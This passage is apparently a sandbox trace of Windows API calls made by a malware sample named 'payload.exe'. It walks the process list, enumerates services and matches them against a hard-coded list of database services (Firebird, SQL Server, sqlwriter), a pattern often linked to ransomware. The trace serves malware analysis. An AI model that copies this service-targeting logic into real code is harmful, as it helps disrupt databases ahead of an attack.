(lpString1="mssqlserver", lpString2="Spooler") returned -1 [0132.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0132.399] lstrlenW (lpString="StateRepository") returned 15 [0132.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0132.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0132.399] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0132.399] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0132.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0132.399] lstrlenW (lpString="SysMain") returned 7 [0132.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0132.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0132.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0132.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0132.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0132.399] lstrlenW (lpString="SystemEventsBroker") returned 18 [0132.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0132.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0132.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0132.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0132.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0132.399] lstrlenW (lpString="Themes") returned 6 [0132.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0132.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0132.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0132.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0132.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0132.400] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0132.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0132.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0132.400] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0132.400] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0132.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0132.400] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0132.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0132.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0132.400] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0132.400] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0132.400] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b51c8 | out: hHeap=0x510000) returned 1 [0132.400] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4cc [0132.708] Process32FirstW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.708] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.709] lstrlenW (lpString="System") returned 6 [0132.709] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.710] lstrlenW (lpString="smss.exe") returned 8 [0132.710] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.710] lstrlenW (lpString="csrss.exe") returned 9 [0132.710] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.711] lstrlenW (lpString="wininit.exe") returned 11 [0132.711] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.712] lstrlenW (lpString="csrss.exe") returned 9 [0132.712] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.712] lstrlenW (lpString="winlogon.exe") returned 12 [0132.712] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.713] lstrlenW (lpString="services.exe") returned 12 [0132.713] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.713] lstrlenW (lpString="lsass.exe") returned 9 [0132.714] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.714] lstrlenW (lpString="svchost.exe") returned 11 [0132.714] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0132.715] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0132.715] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0132.715] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0132.715] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.716] lstrlenW (lpString="svchost.exe") returned 11 [0132.716] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.717] lstrlenW (lpString="dwm.exe") returned 7 [0132.717] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.717] lstrlenW (lpString="svchost.exe") returned 11 [0132.718] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.718] lstrlenW (lpString="svchost.exe") returned 11 [0132.718] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.719] lstrlenW (lpString="svchost.exe") returned 11 [0132.719] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.719] lstrlenW (lpString="svchost.exe") returned 11 [0132.719] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.720] lstrlenW (lpString="svchost.exe") returned 11 [0132.720] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.721] lstrlenW (lpString="svchost.exe") returned 11 [0132.721] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.721] lstrlenW (lpString="svchost.exe") returned 11 [0132.721] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.722] lstrlenW (lpString="svchost.exe") returned 11 [0132.722] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.723] lstrlenW (lpString="svchost.exe") returned 11 [0132.723] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.723] lstrlenW (lpString="svchost.exe") returned 11 [0132.723] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.724] lstrlenW (lpString="spoolsv.exe") returned 11 [0132.724] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.725] lstrlenW (lpString="svchost.exe") returned 11 [0132.725] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.725] lstrlenW (lpString="audiodg.exe") returned 11 [0132.725] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0132.726] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0132.726] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0132.727] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0132.727] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0132.727] lstrlenW (lpString="Memory Compression") returned 18 [0132.727] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0132.728] lstrlenW (lpString="sihost.exe") returned 10 [0132.728] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.729] lstrlenW (lpString="svchost.exe") returned 11 [0132.729] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.729] lstrlenW (lpString="taskhostw.exe") returned 13 [0132.729] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0132.730] lstrlenW (lpString="msoia.exe") returned 9 [0132.730] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.731] lstrlenW (lpString="explorer.exe") returned 12 [0132.731] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0132.731] lstrlenW (lpString="SearchUI.exe") returned 12 [0132.731] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0132.732] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0132.732] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0132.733] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0132.733] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.733] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0132.733] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0132.734] lstrlenW (lpString="payload.exe") returned 11 [0132.734] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0132.735] lstrlenW (lpString="cmd.exe") returned 7 [0132.735] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.736] lstrlenW (lpString="conhost.exe") returned 11 [0132.736] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0132.737] CloseHandle (hObject=0x4cc) returned 1 [0132.737] Sleep (dwMilliseconds=0x1f4) [0133.280] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443e1e8 [0133.280] EnumServicesStatusExW (in: hSCManager=0x443e1e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0133.281] GetLastError () returned 0xea [0133.281] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x44a1a68 [0133.281] EnumServicesStatusExW (in: hSCManager=0x443e1e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44a1a68, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44a1a68, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0133.281] CloseServiceHandle (hSCObject=0x443e1e8) returned 1 [0133.282] lstrlenW (lpString="AppXSvc") returned 7 [0133.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0133.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0133.282] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0133.282] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0133.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0133.282] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.282] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.282] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.282] lstrlenW (lpString="Audiosrv") returned 8 [0133.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0133.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0133.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0133.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0133.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0133.282] lstrlenW (lpString="BFE") returned 3 [0133.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.282] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.282] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.282] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0133.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0133.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0133.282] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0133.282] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0133.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0133.283] lstrlenW (lpString="CDPSvc") returned 6 [0133.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0133.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0133.283] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0133.283] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0133.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0133.283] lstrlenW (lpString="ClickToRunSvc") returned 13 [0133.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0133.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0133.283] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0133.283] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0133.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0133.283] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0133.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0133.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0133.283] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0133.283] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0133.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0133.283] lstrlenW (lpString="CryptSvc") returned 8 [0133.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.283] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.283] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.283] lstrlenW (lpString="DcomLaunch") returned 10 [0133.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.283] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.283] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.283] lstrlenW (lpString="DeviceAssociationService") returned 24 [0133.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0133.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0133.283] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0133.283] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0133.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0133.284] lstrlenW (lpString="Dhcp") returned 4 [0133.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.284] lstrlenW (lpString="Dnscache") returned 8 [0133.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.284] lstrcmpiW 